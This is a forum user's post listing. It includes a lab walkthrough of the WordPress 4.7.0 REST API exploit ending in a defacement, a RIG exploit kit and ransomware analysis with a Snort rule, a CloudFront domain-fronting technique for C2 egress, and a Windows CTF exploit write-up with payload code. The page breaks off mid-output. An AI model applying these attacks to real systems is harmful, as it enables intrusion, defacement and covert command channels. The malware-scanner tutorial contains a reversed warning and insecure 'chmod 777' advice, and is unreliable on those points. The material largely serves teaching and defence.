Jump to content

TheCount.

Members
  • Posts

    42
  • Joined

  • Last visited

  • Days Won

    2

Everything posted by TheCount.

  1. HI! Let's setup a quick test environment for this exercise. We will use docker compose in order to quickly spin it up. Create a docker-compose.yml file with the following contents: version: '2' services: wordpress: image: wordpress:4.7.0 ports: - 8080:80 environment: WORDPRESS_DB_PASSWORD: example entrypoint: - /bin/sh - -c - (sleep 5; echo "define('WP_AUTO_UPDATE_CORE', false);" >> /var/www/html/wp-config.php) & docker-entrypoint.sh apache2-foreground mysql: image: mariadb environment: MYSQL_ROOT_PASSWORD: example This is pretty standard. The only thing that sort of stands out is that instead of running the default Dockerfile ENTRYPOINT we use our own which injects the wp-config.php file with a constant to prevent WordPress from auto-updating itself mid-testing. The exploit will not work in 4.7.2 so we need this to get the environment in the right state. Once you are happy with everything just run the following command to bootstrap the database and WordPress. $ docker-compose up --force-recreate; docker-compose down -v Before we move on you will also have to configure WordPress with some credentials. Visit the application url which is most likely available on localhost:8080 or in case you are using Mac OS X it will be $(docker-machine ip):8080. Go through the setup process. If you want you can even create a couple of blog posts. There is a default blog post with id of 1 which we will override with the following exploit. The exploit is relatively straightforward but I will take you step by step how to set it up on Rest First, let's open Rest and setup some variables which we will use to control the base URL and the number of the blog post we want to change. This is done like this. Now we need to configure the URL. According to the exploit details we need to encode the post id in the URL. In fact, this step is not necessery and we can supply an arbitrary value but I am going to do it anyway to show how powerful the variable substituation feature really is. Notice how we use both variables to build dynamically the URL. The next step is to actually override the post id using the trick which actually bypasses the authorisation controls in the WordPress REST API. We need to define a query parameter which takes the post id and pads it with the value abc. The next step is to build the payload. We need to change the method from GET to POST and setup the content type of the request to JSON. This is straightforward as shown in the screenshot bellow. We are almost there. The last step is to build the actual JSON payload. Switch to the Body tab and select the text/plain body type. We need to create a simple JSON payload that should look like this: { "content": "The content that you want to appear instead of the original post." } This is enough for the test but we will make it slightly more interesting by building the payload dynamically which will allow us greater control over the exploitation process in case we change our mind and we want to do something more advance. Let's setup another variable which we will call post_content, which will hold the new content. Now let's build everything dynamically inside the body. We will use the JSON encoding gadget to make it perfect. Notice how cool this setup is! The exploit is ready so let's test it. Mission accomplished. Because our setup is fully dynamic we now have full flexibility to do whatever we want without the need to worry how the final request is generated. Remember - everything is dynamic. So let's now properly deface the blog by making a nice ASCII art defacement page and upload it. And the final result looks like this.
  2. RIG Exploit Kit Overview The following image shows an example of an iFrame which has been injected into a compromised website. The iFrame redirects users to a proxy that hosts the RIG exploit kit landing page. The RIG infrastructure itself, as shown below, is optimized to segregate servers that host the landing page, exploits and payloads. Victims are only able to see the proxy server with the landing page; resellers and customers are only able to work with the admin server. The actual exploits are stored on the VDS under custody of the RIG crew [2]. After the user is redirected to the proxy, it attempts to exploit the victim’s machine if it is using outdated components such as Adobe Flash. If successful, the RIG exploit kit will then drop and execute CrypMIC ransomware onto the machine and encrypt all files silently in the background. CrypMIC ransomware is still fairly new and it wants to follow the footsteps of the very popular CryptXXX ransomware. It can encrypt 901 different types of files to which it doesn’t add an extension unlike for example Locky, where .locky is added to the end of each file making it easier to detect [3,4]. This ransomware is particularly dangerous for business organizations because of its ability to encrypt files on removable and network drives. During encryption, the ransomware replaces the user’s wallpaper with the one shown below. The image states that RSA-4096 is used for encryption when, in fact, research has shown that CrypMIC uses AES-256 [3,4]. The same information is placed in the form of pictures and text files into every folder that is encrypted. The amount of ransom demanded varies from 1.2 to 2.4 bitcoin, that is between $792 and $1,597 [5]. The user is being prompted to download TOR, a network that disguises their identity by moving traffic across different TOR servers and encrypting that traffic, and visit a payment page similar to the one shown below. After payment is received, the victim is supposedly able to download the “Microsoft Decryptor” (please note that this tool has nothing to do with Microsoft). As with all ransomware, the delivery of a decryptor tool and therefore the successful decryption of files is not guaranteed. The question of whether to pay or not to pay has been discussed rigorously throughout the industry. The recent articles about ransomware payment by Nettitude, Kaspersky and Sophos, to name but a few, all have a similar tone: there is no guarantee that the cyber criminals will deliver the key that is required to successfully decrypt the files and in many cases the data is irretrievably lost. It is therefore strongly advised that payments should not be made [6, 7, 8]. Intrusion Detection Systems, such as Snort, provide signatures for the RIG exploit kit. The signature ID for Snort is 33905 . The following rule is associated with the SID: alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"EXPLOIT-KIT Rig exploit kit outbound commu nication"; flow:established,to_server; urilen:>220,norm; content:"/index.php?"; depth:11; http_uri; c ontent:"=l3S"; within:4; distance:15; fast_pattern; http_uri; pcre:"/^\\/index\\.php\\?[A-Za-z0-9_-] {15}=l3S/U"; flowbits:set,file.exploit_kit.flash; metadata:impact_flag red, policy balanced-ips drop, policy max-detect-ips drop, policy security-ips drop, service http; classtype:trojan-activity; sid:3 3905; rev:3;) The rule looks for a connection from IP’s defined in the variable $HOME_NET to IP’s defined in the variable $EXTERNAL_NET on port 80. It will only match URI’s that are greater than 220 bytes. The image below shows an example of a malicious string that matches the Snort signature. As mentioned above, the exploit kit injects iFrames into compromised websites to redirect users to a proxy. A comparison of several packet captures containing the RIG exploit kit has shown that the iFrame redirection after the URL is always between 169 and 175 bytes long. The first 16 bytes are truly random characters that change with every iFrame injected into a website. The next 24 bytes are random characters as well, but the comparison has shown that these characters remain the same. The remaining bytes are randomly generated, dependent on the actual payload that is being delivered. More random characters are added on, resulting in a string that is always larger than 220 bytes. To reduce the possibility of false positives, the IDS/IPS rule is very specific by looking for the string index.php? in the first 11 bytes of the payload, then ignores the next 15 bytes and then looks for the string =l3S The string =l3S however, has to match within the next 4 bytes. As security professionals, we have to investigate this alarm, as well as any associated alarms, to determine whether the exploit kit was successfully delivered and executed. A good way to start an investigation is to look up the IP address at VirusTotal (virustotal.com). However, the IP’s change so frequently that the result of VirusTotal alone should not be taken as an indication for success or failure. As a next step, a search for the IP address using URLQuery (urlquery.net) provides a good indication as to whether the IP has been flagged as malicious. Furthermore, URLQuery will show you a screenshot of what the actual website looks like without resolving the IP on your machine and potentially risking an infection. As the image below demonstrates, the website has been associated with the RIG exploit kit. A packet capture helps us to investigate this alarm further. The website malware-traffic-analysis.net provides some packet captures that show the delivery of the exploit kit from the exact same IP addresses that we have observed in the last two weeks [10]. A look at the packet capture provides some useful information about the computer that has been infected with the RIG Exploit Kit. If we take a closer look at the User-Agent above, we can see that the victim is running Windows 7 (Windows NT 6.1) and an outdated browser, Internet Explorer 8. Additionally, we can see that the victim is using a vulnerable version of Adobe Flash by looking at the x-flash-version, which indicates a version of 11.9.900.117. A quick search for Adobe’s Security Bulletin reveals that Adobe has released security updates for Adobe Flash Player 11.9.900.117 and earlier versions [11]. The HTTP object list in the image below shows the content types that are transmitted; application/x-msdownload is associated with .exe and .dll files, while application/x-shockwave-flash is related to Adobe Flash. We have already identified that the victim was running a vulnerable version of Adobe Flash which was exploited to deliver the malicious payload. The image below shows post-infection traffic to 65.49.8.96 and the same IP has been observed throughout various packet captures related to CrypMIC ransomware. At this point, we can conclude that the user has visited a compromised website and was redirected to the proxy server. An outdated version of Adobe Flash was identified and exploited and the malicious payload was successfully dropped and executed. As a result, all files on the hard drive were encrypted and a ransom demanded. Without having a packet capture, it is relatively hard to determine the actual success of the delivery of ransomware but an outbound connection to a known malicious site should always be an indicator of success. If the host wasn’t infected it wouldn’t need to communicate to that IP address. As a countermeasure we would recommend, if possible, taking the infected host offline, scanning it for malicious software and blocking the IP address at the perimeter firewall. Blocking the IP alone is not an effective countermeasure because it does not treat the root cause of the problem: a potentially infected host. At this point it doesn’t matter whether the request to the potentially malicious site was blocked by a proxy or a firewall; the fact still remains that there is a host on a network that is actively trying to establish an outbound communication to a malicious site. Conclusion Ransomware has become one of the most feared cyber threats in recent years. The FBI predicts a total loss of around 1 billion US dollars caused by crypto-ransomware in 2016 [12]. CrypMIC was neither the first ransomware, nor will it be the last but it shares the common goal: extort money. Ransomware targets everyone. The same attack can harm an international organization as well as a local restaurant or private Internet users. Ransomware is usually only detected after the malicious software has been installed and files have been encrypted making an early detection all the more important. Intrusion prevention systems can trigger and block a predictable chain of events that happens during the Diffie-Hellman key exchange. If you are able to block the key exchange, you can avoid that files are being encrypted because the ransomware won’t progress beyond this point. Ransomware continues to be one of the biggest cyber threats and we cannot simply rely on detecting ransomware from one single source. Instead, we must deploy a comprehensive solution: proactively monitoring traffic and logs to detect ransomware as early as possible. thecount.
  3. New public notice on Iranian attackers starting to employ #Mac malware sourca : https://iranthreats.github.io/resources/macdownloader-macos-malware/
  4. take this bro sourca: https://www.youtube.com/user/thenewboston/playlists
  5. Acest copil trebuie să fie arestat
  6. When connecting to the Internet there are many malicious threats which can harm the data on your computer. The Operating System (OS) can become in-operable and require to be re-installed. The OS and data and can be restored from a backup if you are able to perform backups of the OS and data. New threats appear on the Internet daily. Most people think that if they run Linux then they are free from such troubles. It is true that most of the threats out there are Windows based. What most people do not understand is that 90% of all high-end servers are running Linux. Since more of the high-end servers are Linux there are more threats being made against Linux. So, what is a threat? Malware and the like… Malware is composed of many things. Malware consists of viruses, trojans, worms and more. All a user needs to know is that their system is free of Malware. To find Malware a scanning program will look over specified folders and/or files. When the program scans, it is looking for signatures. A signature is made from a bit of unique code from Malware. The code is then hashed and placed in a database. The scanning program gets the hash from the database and looks through files to see if the hash exists. If the signature is found then the scanning program can alert the user that a threat has been found. The current Linux Malware Detect signature database contains 5,657,522 signatures. Some people will take an existing Malware program and use it as a basis for a new one. Since some of the code remains intact, the signature is the same for the new Malware. When an existing signature finds a new piece of Malware it is deemed a Heuristic or Generic Detection. Having the same signature as an existing Malware makes the new Malware within the same family. A completely new piece of Malware will most likely create a new signature. New signatures will cause the database to be updated. The number of Malware is increasing and the databases are updated constantly. When you have a program to scan your system then you will have new signature database updates often. NOTE: It is possible for a scanner to find a signature match to a file which is not Malware. This match is a false positive. The reverse is true as well. If a new Malware package has been released and is not in the database then the scanner will return a false negative. For this reason the signature database needs to be updated as often as possible. Let’s look at an example of Malware. Malware Example The list of Malware is quite extensive, especially getting into the whole family of a single signature. Choosing Malware to use as an example can be quite easy because of the number of existing samples. So, let’s look at ‘Linux.Encoder.1’. The Malware is also known as ‘Elf/Filecoder/A’ and ‘Trojan.Linux.Ransom.A’. The family of these types are extensive. The way it works is that it gets into your system attached to a file downloaded from the Internet. Once on your system it will become active and place a ‘readme’ file in every folder on the system. Other data on the system will be encrypted keeping you from accessing the true contents of the files. The ‘readme’ files contain information on how your data is being held captive and you must pay a ransom to have the files decrypted. When the files were encrypted there was a key sent to the server of the Malware creators. Once you pay the ransom it demands, if one was specified, then your data will be restored. A company named BitDefender has the ability to decrypt the files on your system and remove the Ransom-ware Malware. As usual, it is very important to keep your signature database up-to-date. Before you can perform updates you do need to have the scanner installed. One good scanner used by the Linux Malware Detect program is ClamAV. Install ClamAV The ClamAV program can be installed through the standard repository for both Red Hat and Debian systems. For Red Hat systems perform the following: yum -y install clamav calmav-devel clamav-update Once installed you will need to edit the file ‘/etc/clamav/freshclam.conf’. About seven lines down is a line which is ‘Example’. The line needs to have a ‘#’ placed at the beginning to make ‘#Example’. Further down is a line which starts with ‘#DatabaseDirectory’ with a folder following it. Remove the pound sign (#) at the beginning to uncomment the line. Another line which can be added at the bottom of the file is ‘DatabaseMirror database.clamav.net’. Save the file and in a Terminal you will need to issue the following command: sudo chmod -R 777 /usr/lib/clamav You should be able to issue the command ‘freshclam’ in a Terminal to update the database of ClamAV. On a Debian system you need to issue the following command: sudo apt-get install -y clamav ClamAV should update automatically every hour by default. The database is locked if you try to perform a ‘freshclam’ command to perform an update. Now that the scanner is installed you need to install LMD definitions and program. LMD Installation Whether in Debian or Red Hat the install will be the same. Perform the following commands in a Terminal. cd /tmp wget http://www.rfxn.com/downloads/maldetect-current.tar.gz tar -xvf maldetect-current.tar.gz ls -l | grep maldetect The last command will give you a listing of the files and folders with ‘maldetect’ in the name. You should have one similar to ‘ maldetect-1.5’. cd maldetect-1.5 [or whatever the name of the folder was in the previous step] sudo ./install.sh Now you will need to configure maldetect to work with the ClamAV Scanner by editing the file ‘/usr/local/maldetect/conf.maldet’. You need to look for a line which starts with ‘scan_clamscan’ and make sure it is set to ‘”1”’. If you want maldetect to automatically quarantine found items set the ‘quarantine_hits’ to a value of ‘1’. To clean the Malware found set the ‘quarantine_clean’ value to ‘1’. If you want to allow user scans to be performed without root access you can change the ‘scan_user_access’ value to ‘1’. Save the file and exit the editor. NOTE: Since you installed ClamAV first maldetect should already have the scanner setting set to ‘1’. If not, make sure you change it. To scan all files on your system perform the command from a Terminal: sudo maldet -a / A scan will be performed as shown in Figure 1. Maldetect will load the signatures and use the ClamAV scanner to perform the scan for the signatures in the signature file. Results of a scan are placed in a report. A report number, or SCANID, is displayed at the end of the scan. To see the report use the command ‘maldet --report SCANID’ FIGURE 1 In Figure 1 the scan which was just performed created a report with the SCANID of ‘170125-1736.1777’. To see the specific report use the command ‘maldet --report SCANID’. In the case of the scan in Figure 1 the command to see the report would be ‘maldet --report 170125-1736.1777’. To see a list of all reports use the command ‘maldet -e list’ as shown in Figure 2. FIGURE 2 To restore quarantined files found during a scan use the command: maldet -s SCANID As you can see from Figure 2 there have been three scans performed. The scan with the SCANID of ‘170124-2248.22401’ had six hits. This means it found six infected files, on the scan it performed. To use the command ‘maldet --report 170124-2248.22401’ would show results as seen in Figure 3. FIGURE 3 The main things to look at are the following lines: {HEX}gzbase64.inject.unclassed.15 : /tmp/maldetect-1.5/files/clean/gzbase64.inject.unclassed {HEX}gzbase64.inject.unclassed.15 : /tmp/maldetect-current.tar.gz {CAV}Win.Adware.Opencandy-78 : /media/jarret/BookC/Desktop (items)/Windows/SetupImgBsajbdfjaibufibjvSurn_2.5.8.$ {CAV}Win.Adware.Opencandy-78 : /media/jarret/BookC/Desktop (items)/Windows/SetupImgBurn_2.5.8.0.exe {HEX}gzbase64.inject.unclassed.15 : /tmp/maldetect-1.5/files/clean/gzbase64.inject.unclassed {HEX}gzbase64.inject.unclassed.15 : /tmp/maldetect-current.tar.gz Lines 1, 2, 5 and 6 are positive matches found for the maldetect files. The compressed files containing the installation code and the signature database (lines 2 and 6) are noted as being infected. The scanner also detected the signature database itself in lines 1 and 5. Lines 3 and 4 are a Malware called Win.Adware.Opencandy-78. Within the report you can also see that no files were quarantined since the quarantine has not been enabled. NOTE: Do not run the scans and never check the reports. I have seen large companies do such a thing and find out that a virus was not being quarantined. Since it was not removed the virus was able to spread and cause problems. As noted at one point in the report you can manually override the quarantine to occur by using the command ‘maldet -q SCANID’. So, if I issue the command ‘maldet -q 170124-2248.22401’ as seen in Figure 4, the infected files will be quarantined. FIGURE 4 Nothing of note occurs when removing the malware which was found during a scan. NOTE: If you do not enable public scanning then you must run ‘maldet’ as sudo. Be aware of the threats on the Internet. Keep in mind to always update your signature database as often as you can. Scan your system often. I hope this article can save you trouble in the future. Happy scanning!
  7. TheCount.

    Amazon

    Domain Fronting Via Cloudfront Alternate Domains domains you are looking for… A technique known as Domain Fronting was recently documented for circumventing censorship restrictions by Open Whisper Systems The benefits of this technique for use in adversary simulations was recognised by several people, including Optiv and Raphael Mudge If you are not familiar with this concept, these resources are recommended reading. However to summarise, the TLDR is many services and in particular CDN services, can act as redirectors for a c2 channel. The benefit of this is it provides a reputable domain for egress and can therefore be used to circumvent proxy categorisation and other network based monitoring. In Raphael’s video, he describes how a trusted domain such as a0.awsstatic.com can be used for egress by specifying a Host header that points to an attacker controlled Cloudfront instance within the Malleable c2 profile. Our research expands on this idea to identify additional high reputation domains that can be used for egress. Amazon customers who do not want to use a generic cloudfront.net domain are able to use an “alternate domain” by simply configuring the appropriate CNAME record to point to their Cloudfront instance. This process is described by Amazon here as shown below: As such, any domain with a CNAME record pointing to the Cloudfront CDN can be used as an egress channel. Identifying these domains is relatively trivial, many can be located through Google dorks such as “CNAME *.cloudfront.net”, or using DNS bruteforcing. One of the Google dork results returns cdn.bitnami.com as a possible CNAME. We can trivially confirm that the CNAME is set as shown below: To validate that it’s possible to use cdn.bitnami.com as an egress domain, we can try and retrieve the “foo.txt” file that’s hosted on our c2 server and pointed to by our Cloudfront instance: We identified many high reputation domains that can be used for fronting, including cdn.az.gov, media.tumblr.com, images.instagram.com, cdn.zendesk.com and cdn.atlassian.com to name but a few. The short video below demonstrates this further, showing how they can be used within Cobalt Strike beacons.
  8. I dont know what's happen here... but my heart is with you guys.
  9. Stack Overflow Developer Survey A se vedea acest articol sourca : https://www.sitepoint.com/whats-the-best-programming-language-to-learn-in-2017/ and this) sourca : https://codingsec.net/2016/05/3-most-common-myths-when-your-are-learning-programming/
  10. hi guys.. what you thing about this program !
  11. Exploiting a misused C++ shared pointer on Windows 10 In this post I describe a detailed solution to my “winworld” challenge from Insomni’hack CTF Teaser 2017. winworld was a x64 windows binary coded in C++11 and with most of Windows 10 built-in protections enabled, notably AppContainer (through the awesome AppJailLauncher), Control Flow Guard and the recent mitigation policies. These can quickly be verified using Process Hacker (note also the reserved 2TB of CFGBitmap!): The task was running on Windows Server 2016, which as far as the challenge is concerned behaves exactly as Windows 10 and even uses the exact same libraries. The challenge and description (now with the source code) can be found here Logic of the binary: Our theme this year was “rise of the machines”; winworld is about the recent Westworld TV show, and implements a “narrator” interface where you can create robots and humans, configure their behavior, and move them on a map where they interact with each other. The narrator manipulates Person objects, which is a shared class for both “hosts” (robots) and “guests” (humans). Each type is stored in separate list. Each Person object has the following attributes: The narrator exposes the following commands: --[ Welcome to Winworld, park no 1209 ]-- narrator [day 1]$ help Available commands: - new <type> <sex> <name> - clone <id> <new_name> - list <hosts|guests> - info <id> - update <id> <attribute> <value> - friend <add|remove> <id 1> <id 2> - sentence <add|remove> <id> <sentence> - map - move <id> {<l|r|u|d>+} - random_move - next_day - help - prompt <show|hide> - quit narrator [day 1]$ The action happens during calls to move or random_move whenever 2 persons meet. The onEncounter method pointer is called and they interact. Only attack actually has impact on the other Person object: if the attack is successful the other takes damage and possibly dies. Robots can die an infinite number of times but cannot kill humans. Humans only live once and can kill other humans. The next_day feature restores the lives of robots and the health of everyone, but if the object is a dead human, it gets removed from its list. People talk in an automated way using a Markov Chain that is initialized with the full Westworld script and the added sentences, which may incur in fun conversations. Many sentences still don’t quite make sense though, and since the vulnerabilities aren’t in there, I specified it in the description to spare some reversing time (there is already plenty of C++ to reverse…). Vulnerability 1: uninitialized attribute in the Person copy constructor During the Narrator initialization, the map is randomly generated and a specific point is chosen as the “maze center”, special point that when reached under certain conditions, turns a robot into a human. These conditions are that the currently moved Person must be a HOST, have is_conscious set, and there must be a human (GUEST) on the maze center too. First thing is thus to find that point. All randomized data is obtained with rand(), and the seed is initialized with a classic srand(time(NULL)). Therefore the seed can be determined easily by trying a few seconds before and after the local machine time. Once synchronized with the server’s clock, simply replaying the map initialization algorithm in the exploit will finally allow to find the rand() values used to generate the maze center. Coding a simple pathfinding algorithm then allows to walk any person to this position. Robots are initialized with is_conscious = false in the Person::Personconstructor. However the Person::Person *copy* constructor used in the narrator’s clone function forgets to do this initialization! The value will thus be uninitialized and use whatever was already on the heap. It turns out that just cloning a robot is often enough to get is_conscious != 0… but let’s make sure it always is. Sometimes the newly cloned robot will end up on the Low Fragmentation Heap, sometimes not. Best is then to make sure it always ends up on the LFH by cloning 0x10 – number of current Person objets = 6. Let’s clone 6+1 times a person and check in windbg: 0:004> ? winworld!Person::Person Matched: 00007ff7`9b9ee700 winworld!Person::Person (<no parameter info>) Matched: 00007ff7`9b9ee880 winworld!Person::Person (<no parameter info>) Ambiguous symbol error at 'winworld!Person::Person' 0:004> bp 00007ff7`9b9ee880 "r rcx ; g" ; bp winworld!Person::printInfos ; g rcx=0000024a826a3850 rcx=0000024a826800c0 rcx=0000024a82674130 rcx=0000024a82674310 rcx=0000024a82673a50 rcx=0000024a82673910 rcx=0000024a82673d70 Breakpoint 1 hit winworld!Person::printInfos: 00007ff7`9b9f0890 4c8bdc mov r11,rsp 0:000> r rcx rcx=0000024a82673d70 0:000> !heap -x 0000024a826800c0 Entry User Heap Segment Size PrevSize Unused Flags ------------------------------------------------------------------------------------------------------------- 0000024a826800b0 0000024a826800c0 0000024a82610000 0000024a82610000 a0 120 10 busy 0:000> !heap -x 0000024a82673d70 Entry User Heap Segment Size PrevSize Unused Flags ------------------------------------------------------------------------------------------------------------- 0000024a82673d60 0000024a82673d70 0000024a82610000 0000024a828dec10 a0 - 10 LFH;busy Here we see that the first 2 clones aren’t on the LFH, while the remaining ones are. The LFH allocations are randomized, which could add some challenge. However these allocations are randomized using an array of size 0x100 with a position that is incremented modulo 0x100, meaning that if we spray 0x100 elements of the right size, we will come back to the same position and thus get a deterministic behavior. We don’t even need to keep the chunks in memory, so we can simply spray using a command string of size 0x90 (same as Person), which will always initialize the is_conscious attribute for the upcoming clone operation. So now our robot becomes human, and the troubles begin! Note: It seems that by default Visual Studio 2015 enables the /sdl compilation flag, which will actually add a memset to fill the newly allocated Person object with zeros, and thus makes it unexploitable. I disabled it But to be fair, I enabled CFG which isn’t default! Vulnerability 2: misused std::shared_ptr A shared pointer is basically a wrapper around a pointer to an object. It notably adds a reference counter that gets incremented whenever the shared_ptr is associated to a new variable, and decremented when that variable goes out of scope. When the reference counter becomes 0, no more references to the object are supposed to exist anywhere in the program, so it automatically frees it. This is very useful against bugs like Use After Free. It is however still possible to be dumb with these smart pointers… in this challenge, when a robot becomes human, it stays in the robots list (but its is_enable field becomes false so it cannot be used as a robot anymore), and gets inserted into the humans list with the following code: This is very wrong because instead of incrementing the reference counter of the object’s shared_ptr, we instead create a new shared_ptr that points to the same object: When the reference counter of any of the two shared_ptr gets decremented to 0, the object gets freed and since the other shared_ptr is still active, we will get a Use After Free! To do so, we can kill the human-robot using another human. We also have to remove all his friends otherwise the reference counter will not reach 0. Then using the next_dayfunction will free it when it removes the pointer from the guests vector: So now getting RIP should be easy since the object holds a method pointer: spray 0x100 strings of length 0x90 with a fake object – a std::string can also contain null bytes – and then move the dead human-robot left-right so he meets his killer again, and triggers the overwritten onEncountermethod pointer: def craft_person(func_ptr, leak_addr, size): payload = struct.pack("<Q", func_ptr) # func pointer payload += "\x00" * 24 # friends std::vector payload += "\x00" * 24 # sentences std::vector # std::string name payload += struct.pack("<Q", leak_addr) payload += "JUNKJUNK" payload += struct.pack("<Q", size) # size payload += struct.pack("<Q", size) # max_size payload += struct.pack("<I", 1) # type = GUEST payload += struct.pack("<I", 1) # sex payload += "\x01" # is_alive payload += "\x01" # is_conscious payload += "\x01" # is_enabled [...] payload = craft_person(func_ptr=0x4242424242424242, leak_addr=0, size=0) for i in range(0x100): sendline(s, payload) sendline(s, "move h7 lr") Result: 0:004> g (1a00.c68): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. ntdll!LdrpValidateUserCallTarget+0xe: 00007ffa`89b164ae 488b14c2 mov rdx,qword ptr [rdx+rax*8] ds:010986ff`08d30908=???????????????? 0:000> ? rax << 9 Evaluate expression: 4774451407313060352 = 42424242`42424200 Control Flow Guard is going to complicate things a bit, but before that we still need to leak one address to defeat ASLR. Leaking the binary base address In the previous code sample we crafted a name std::string of size 0 to prevent the binary from crashing when printing the name. Replacing the pointer and size with valid values will print size bytes at that address, therefore we got our arbitrary read primitive. Now what do we print? There is ASLR everywhere except for the _KUSER_SHARED_DATA at 0x7ffe0000, which doesn’t hold any pointer anymore on Windows 10… Instead of exploiting our UAF with a string we must therefore replace the freed Person object with another object of the same LFH size (0xa0). We don’t have any, but we can check if we could increase the size of one of our vectors instead. Iteratively trying with our std::vector<std::shared_ptr<Person>> friends, we get lucky with 7 to 9 friends: to 9 friends: 0:004> g Breakpoint 0 hit winworld!Person::printInfos: 00007ff7`9b9f0890 4c8bdc mov r11,rsp 0:000> dq rcx 000001cf`94daea60 00007ff7`9b9ef700 000001cf`94d949b0 000001cf`94daea70 000001cf`94d94a20 000001cf`94d94a40 000001cf`94daea80 000001cf`94dac6c0 000001cf`94dac760 000001cf`94daea90 000001cf`94dac780 00736572`6f6c6f44 000001cf`94daeaa0 61742074`73657567 00000000`00000007 000001cf`94daeab0 00000000`0000000f 00000002`00000000 000001cf`94daeac0 00000000`20010001 00000000`00000000 000001cf`94daead0 0000003d`00000020 0000000a`00000004 0:000> !heap -x 000001cf`94d949b0 Entry User Heap Segment Size PrevSize Unused Flags ------------------------------------------------------------------------------------------------------------- 000001cf94d949a0 000001cf94d949b0 000001cf94d30000 000001cf94dafb50 a0 - 10 LFH;busy 0:000> dq 000001cf`94d949b0 000001cf`94d949b0 000001cf`94dfb410 000001cf`94d90ce0 000001cf`94d949c0 000001cf`94dac580 000001cf`94d90800 000001cf`94d949d0 000001cf`94d98f90 000001cf`94d911c0 000001cf`94d949e0 000001cf`94d99030 000001cf`94d912e0 # string pointer 000001cf`94d949f0 000001cf`94db4cf0 000001cf`94d91180 # string size 000001cf`94d94a00 000001cf`94db7e60 000001cf`94d912a0 000001cf`94d94a10 000001cf`94e97c70 000001cf`94d91300 000001cf`94d94a20 7320756f`590a2e73 73696874`20776f68 0:000> dps poi(000001cf`94d949b0+8+0n24*2) L3 000001cf`94d912e0 00007ff7`9b9f7158 winworld!std::_Ref_count<Person>::`vftable' 000001cf`94d912e8 00000001`00000005 000001cf`94d912f0 000001cf`94d99030 The vector now belongs to the same LFH bucket as Person objects. If we spray 0xf0 strings followed by 0x10 7-friends vectors we will be able to leak pointers: to a vtable inside winworld and to the heap. We should be able to actually do that with 0xff strings then 1 friends vector, but there appears to be some allocations happening in between sometimes – and I haven’t debugged what caused it. We don’t control the size though, which is huge, so the binary will inevitably crash! Good thing is that on Windows libraries are randomized only once per boot, as opposed to the heap, stack etc. that are randomized for each process. This is dirty, but since this binary is restarted automatically it isn’t a problem, so we have leaked the binary base and we can reuse it in subsequent connections. Protip: when you develop a Windows exploit, don’t put the binary on the share to your Linux host, this has the nice side effect of forcing randomization of the binary base at each execution! Call it a mitigation if you want Bypassing Control Flow Guard Control Flow Guard (CFG) is Microsoft’s Control Flow Integrity (CFI) measure, which is based on the simple idea that any indirect call must point to the beginning of a function. A call to __guard_check_icall_fptr is inserted before indirect calls: The advantage of CFG is that it can hardly break a legit program (so, no reason not to use it!). However 3 generic weaknesses are apparent in CFG: The set of allowed targets is still huge, compared to a CFI mechanism that verifies the type of function arguments and return values It cannot possibly protect the stack, since return addresses are not function starts. Microsoft will attempt to fix this with Return Flow Guard and future Intel processor support, but this is not enforced yet. If a loaded module isn’t compiled with CFG support, all the addresses within that modules are set as allowed targets in the CFGBitmap. Problems may also arise with JIT. (here the binary and all DLLs support CFG and there is no JIT) While I was writing this challenge an awesome blog post was published about bypassing CFG, that abuses kernel32!RtlCaptureContext (weakness 1). It turns out that j00ru – only person that solved this task, gg! – used it to leak the stack, but I haven’t, and opted for leaking/writing to the stack manually (weakness 2). We have abused the std::string name attribute for arbitrary read already, now we can also use it to achieve arbitrary write! The only requirement is to replace the string with no more bytes than the max size of the currently crafted std::string object, which is therefore no problem at all. This is cool, however so far we don’t even know where the stack (or even heap) is, and it is randomized on each run of the program as opposed to the libraries. We will come back to this later on. First we also want to leak the addresses of the other libraries that we may want to use in our exploit. Leaking other libraries Using the binary base leak and a spray of 0x100 crafted persons strings we have enough to leak arbitrary memory addresses. We can leave the vectors to null bytes to prevent them from crashing during the call to Person::printInfos. Now that we have the binary base address and that it will stay the same until next reboot, leaking the other libraries is trivial: we can just dump entries in the IAT. My exploit makes use of ucrtbase.dll and ntdll.dll(always in the IAT in the presence of CFG), which can be leaked by crafting a std::string that points to the following addresses: 0:000> dps winworld+162e8 L1 00007ff7`9b9f62e8 00007ffa`86d42360 ucrtbase!strtol 0:000> dps winworld+164c0 L2 00007ff7`9b9f64c0 00007ffa`89b164a0 ntdll!LdrpValidateUserCallTarget 00007ff7`9b9f64c8 00007ffa`89b164f0 ntdll!LdrpDispatchUserCallTarget To repeat the leak we can overwrite the onEncounter method pointer with the address of gets(), once we have located the base address of ucrtbase.dll. This is of course because of the special context of the task that has its standard input/output streams redirected to the client socket. This will trigger a nice gets(this_object) heap overflow that we can use to overwrite the name string attribute in a loop. Leaking the stack Where can we find stack pointers? We can find the PEB pointer from ntdll, however in x64 the PEB structure doesn’t hold any pointer to the TEBs (that contains stack pointers) anymore… A recent blogpost from j00ru described an interesting fact: while there is no good reason to store stack pointers on the heap, there may be some leftover stack data that was inadvertently copied to the heap during process initialization. His post describes it on x86, let’s check if we still have stack pointers lurking on the heap in x64: 0:001> !address [...] BaseAddress EndAddress+1 RegionSize Type State Protect Usage -------------------------------------------------------------------------------------------------------------------------- [...] 3b`b6cfb000 3b`b6d00000 0`00005000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE Stack [~0; 2524.1738] [...] 0:001> !heap Heap Address NT/Segment Heap 17c262d0000 NT Heap 17c26120000 NT Heap 0:001> !address 17c262d0000 Usage: Heap Base Address: 0000017c`262d0000 End Address: 0000017c`26332000 [...] 0:001> .for (r $t0 = 17c`262d0000; @$t0 < 17c`26332000; r $t0 = @$t0 + 8) { .if (poi(@$t0) > 3b`b6cfb000 & poi(@$t0) < 3b`b6d00000) { dps $t0 L1 } } 0000017c`262d2d90 0000003b`b6cff174 0000017c`262deb20 0000003b`b6cffbd8 0000017c`262deb30 0000003b`b6cffbc8 0000017c`262deb80 0000003b`b6cffc30 0000017c`2632cf80 0000003b`b6cff5e0 0000017c`2632cfc0 0000003b`b6cff5e0 0000017c`2632d000 0000003b`b6cff5e0 0000017c`2632d1a0 0000003b`b6cff5e0 0000017c`2632d2c0 0000003b`b6cff5e0 0000017c`2632d4e0 0000003b`b6cff5e0 0000017c`2632d600 0000003b`b6cff5e0 0000017c`2632d660 0000003b`b6cff5e0 0000017c`2632d6e0 0000003b`b6cff5e0 0000017c`2632d700 0000003b`b6cff5e0 0:000> dps winworld+1fbd0 L3 